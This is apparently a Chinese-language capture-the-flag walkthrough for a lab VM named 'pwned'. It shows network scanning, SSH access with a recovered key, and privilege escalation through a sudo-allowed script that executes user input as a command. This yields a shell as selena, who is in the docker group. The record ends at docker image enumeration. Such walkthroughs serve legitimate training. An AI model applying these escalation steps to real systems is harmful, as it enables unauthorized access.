5 packets received by filter, 0 packets dropped by kernel Ending arp-scan 1.10.0: 256 hosts scanned in 1.986 seconds (128.90 hosts/sec). 5 responded
ip为192.168.31.51,然后nmap扫描开放端口
1 2 3 4 5 6 7 8 9 10 11 12 13
┌──(root㉿kali)-[~/Desktop/tmp] └─# nmap 192.168.31.51 --min-rate=1000 -p- Starting Nmap 7.94SVN ( https://nmap.org ) at 2025-01-22 01:21 EST Nmap scan report for pwned (192.168.31.51) Host is up (0.00019s latency). Not shown: 65532 closed tcp ports (reset) PORT STATE SERVICE 21/tcp open ftp 22/tcp open ssh 80/tcp open http MAC Address: 08:00:27:C4:72:27 (Oracle VirtualBox virtual NIC)
Nmap done: 1 IP address (1 host up) scanned in 13.85 seconds
┌──(root㉿kali)-[~/Desktop/tmp] └─# ssh ariana@192.168.31.51 -i id_rsa The authenticity of host '192.168.31.51 (192.168.31.51)' can't be established. ED25519 key fingerprint is SHA256:Eu7UdscPxuaxyzophLkeILniUaKCge0R96HjWhAmpyk. This key is not known by any other names. Are you sure you want to continue connecting (yes/no/[fingerprint])? yes Warning: Permanently added '192.168.31.51' (ED25519) to the list of known hosts. Linux pwned 4.19.0-9-amd64 #1 SMP Debian 4.19.118-2+deb10u1 (2020-06-07) x86_64
The programs included with the Debian GNU/Linux system are free software; the exact distribution terms for each program are described in the individual files in /usr/share/doc/*/copyright.
Debian GNU/Linux comes with ABSOLUTELY NO WARRANTY, to the extent permitted by applicable law. Last login: Fri Jul 10 13:03:23 2020 from 192.168.18.70 ariana@pwned:~$ ls ariana-personal.diary user1.txt
提权
1 2 3 4 5 6
ariana@pwned:/$ sudo -l Matching Defaults entries for ariana on pwned: env_reset, mail_badpass, secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin
User ariana may run the following commands on pwned: (selena) NOPASSWD: /home/messenger.sh
clear echo "Welcome to linux.messenger " echo "" users=$(cat /etc/passwd | grep home | cut -d/ -f 3) echo "" echo "$users" echo "" read -p "Enter username to send message : " name echo "" read -p "Enter message for $name :" msg echo "" echo "Sending message to $name "
$msg 2> /dev/null
echo "" echo "Message sent to $name :) " echo ""
直接sudo运行可以提权到selena,然后用python获取伪终端
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17
ariana@pwned:/home$ sudo -u selena /home/messenger.sh Welcome to linux.messenger
ariana: selena: ftpuser:
Enter username to send message : selena
Enter message for selena :bash
Sending message to selena id uid=1001(selena) gid=1001(selena) groups=1001(selena),115(docker) python3 -c 'import pty; pty.spawn("/bin/bash")' selena@pwned:/home$
selena的主目录下有一个user2.txt
通过id能看到用户在docker组里
1 2
selena@pwned:/$ id uid=1001(selena) gid=1001(selena) groups=1001(selena),115(docker)
1 2 3 4 5 6
selena@pwned:/$ docker images REPOSITORY TAG IMAGE ID CREATED SIZE privesc latest 09ae39f0f8fc 4 years ago 88.3MB <none> <none> e13ad046d435 4 years ago 88.3MB alpine latest a24bb4013296 4 years ago 5.57MB debian wheezy 10fcec6d95c4 5 years ago 88.3MB